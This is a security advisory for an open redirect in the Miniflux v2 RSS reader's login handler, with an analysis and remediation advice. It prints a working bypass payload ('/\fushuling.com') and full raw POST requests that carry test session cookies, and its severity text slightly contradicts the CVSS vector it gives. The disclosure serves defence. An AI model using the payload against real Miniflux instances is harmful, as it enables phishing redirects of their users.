EUVD-2026-64137
GHSA-m999-j542-5w3r
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Login endpoint is network-reachable with no attacker privileges; victim must click crafted link (UI:R); scope changes to external domain with phishing impact on confidentiality and integrity.
Primary rating from Vendor (https://github.com/miniflux/v2).
CVSS VectorVendor: https://github.com/miniflux/v2
Lifecycle Timeline
3DescriptionCVE.org
Summary
The URL restrictions in miniflux-v2 can be bypassed by attackers, leading to an open redirect vulnerability.
Details
Normally, the redirect URL needs to be validated using IsRelativePath.
<img width="1728" height="1386" alt="QQ20260526-175356-26-1" src="https://github.com/user-attachments/assets/b481845a-8744-41f7-b27a-526c7ac92e03" />
There are some security measures in place, such as requiring relative paths, prohibiting host and schema entries, and rejecting proof-of-concept (PoC) entries like //fushuling.com. However, these measures can still be bypassed.
<img width="1911" height="804" alt="QQ20260526-175836-26-2" src="https://github.com/user-attachments/assets/90353c7f-7247-4453-a781-159361de13d6" />
For a proof-of-concept (PoC) like /\fushuling.com, it lacks host and netloc fields and doesn't start with //, but during the actual browser redirection, the backslash is automatically parsed as a forward slash, ultimately redirecting to the external address https://fushuling.com, thus bypassing existing protections.
For PoCs like //fushuling.com, the existing logic successfully detects and resolves to /unread, effectively preventing attacks.
POST /login HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 92
Cache-Control: max-age=0
sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: cw_conversation=eyJhbGciOiJIUzI1NiJ9.eyJzb3VyY2VfaWQiOiI1NTlhZGZkNS0wMTMxLTRjOWUtYjJmMi1kZTQ4YzFmMzUwODMiLCJpbmJveF9pZCI6NTI3NTUsImV4cCI6MTc5MTk3MzU4OCwiaWF0IjoxNzc2NDIxNTg4fQ._8EAAv62saWBzO54yUJCbASbjbrNdMsYEC49blqJwQM; casdoor_session_id=cc333aee41d646565c1bde0bba532991; SSID=EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.KKPgzj5eEsDglYQXFeERpo7F97-phtpOsQL0Sh9e_EA; sid=Q5hex9PpdqFKeVL41zT4W9DqyBnMJhVO; MinifluxSessionID=F5GAIDVFDZVTOTOWBLWKXCRNIE.HUQLKF4BMK42KUAM3N2VK4MA45
Connection: close
csrf=CYJ2SHTG7AYLMFW6TMTLRR4K54&redirect_url=//fushuling.com&username=admin&password=test123<img width="1773" height="894" alt="QQ20260526-180410-26-3" src="https://github.com/user-attachments/assets/19e532ad-e366-4eb8-a08e-7b1de02edc7b" />
However, when the attacker specified the redirect URL as /\fushuling.com, the URL successfully bypassed the detection and set the location to /\fushuling.com.
POST /login HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 92
Cache-Control: max-age=0
sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: cw_conversation=eyJhbGciOiJIUzI1NiJ9.eyJzb3VyY2VfaWQiOiI1NTlhZGZkNS0wMTMxLTRjOWUtYjJmMi1kZTQ4YzFmMzUwODMiLCJpbmJveF9pZCI6NTI3NTUsImV4cCI6MTc5MTk3MzU4OCwiaWF0IjoxNzc2NDIxNTg4fQ._8EAAv62saWBzO54yUJCbASbjbrNdMsYEC49blqJwQM; casdoor_session_id=cc333aee41d646565c1bde0bba532991; SSID=EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.KKPgzj5eEsDglYQXFeERpo7F97-phtpOsQL0Sh9e_EA; sid=Q5hex9PpdqFKeVL41zT4W9DqyBnMJhVO; MinifluxSessionID=54R3C5MYFRCW7JVL2WUP5GFW4Z.3FLK5B4S7R3O6ZRACB7A3B2RG5
Connection: close
csrf=QC7PJNLRRDHSF6OZPXFVPKAXEO&redirect_url=/\fushuling.com&username=admin&password=test123<img width="1629" height="887" alt="QQ20260526-180606-26-4" src="https://github.com/user-attachments/assets/efe78aca-06ef-4369-83b7-0d7119ac2546" />
In the actual browser redirection, the URL successfully redirected to https://fushuling.com, thus bypassing the restrictions and achieving an open redirect attack.
<img width="1082" height="621" alt="QQ20260526-180711-26-5" src="https://github.com/user-attachments/assets/0b486f09-8a9b-4d38-8350-d7ca5c51c253" />
PoC
/\fushuling.comImpact
Open Redirect
AnalysisAI
Open redirect bypass in Miniflux v2 (versions <= 2.3.0) enables unauthenticated remote attackers to redirect victims to arbitrary external URLs by exploiting a backslash normalization discrepancy between server-side URL validation and browser behavior. The self-hosted RSS reader's login handler accepts a redirect_url parameter validated by an IsRelativePath function that blocks // prefixes but permits /\attacker.com - a string that all major browsers (Chrome, Firefox, Safari, Edge, as indicated by advisory tags) silently normalize to //attacker.com during HTTP Location header processing. A publicly documented proof-of-concept is available via GHSA-m999-j542-5w3r; no active exploitation has been confirmed in CISA KEV at time of analysis.
Technical ContextAI
Miniflux is a self-hosted RSS/Atom feed reader written in Go (package miniflux.app/v2, CPE pkg:go/miniflux.app_v2). The vulnerability resides in the login handler's post-authentication redirect logic: after verifying credentials, the application reads a caller-supplied redirect_url POST parameter and validates it with an IsRelativePath function. That function rejects inputs containing host or netloc URL components and specifically blocks paths starting with // (e.g., //attacker.com). However, Go's url.Parse treats a backslash as a literal path character, so /\attacker.com passes the check - it has no host field and does not begin with //. When the server issues an HTTP 302 Location: /\attacker.com response, RFC-noncompliant but widely implemented browser normalization converts the backslash to a forward slash, producing the authority-relative URL //attacker.com, which resolves to the external domain. This is a textbook CWE-601 (URL Redirection to Untrusted Site / Open Redirect) flaw rooted in a parsing differential between server runtime and browser client - a well-documented bypass class affecting any validator that relies on URL-library path parsing without explicit backslash rejection.
RemediationAI
Upgrade Miniflux to version 2.3.1 or later, which corrects the backslash normalization bypass in the redirect URL validator. The patched release is available from the official project repository at https://github.com/miniflux/v2 and documented in GHSA-m999-j542-5w3r at https://github.com/miniflux/v2/security/advisories/GHSA-m999-j542-5w3r. If immediate patching is not possible, restrict network access to the Miniflux login endpoint (/login) to trusted networks or a VPN, which prevents external attackers from delivering crafted redirect URLs to users - note this does not eliminate risk from internal phishing. As a secondary compensating control, a reverse proxy or WAF rule rejecting Location header values or redirect_url parameter values containing a backslash character (\) would neutralize the specific bypass technique, though this approach may require tuning to avoid breaking legitimate traffic. No workaround eliminates the root-cause flaw without patching.
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Vendor StatusVendor
SUSE
| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
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External POC / Exploit Code
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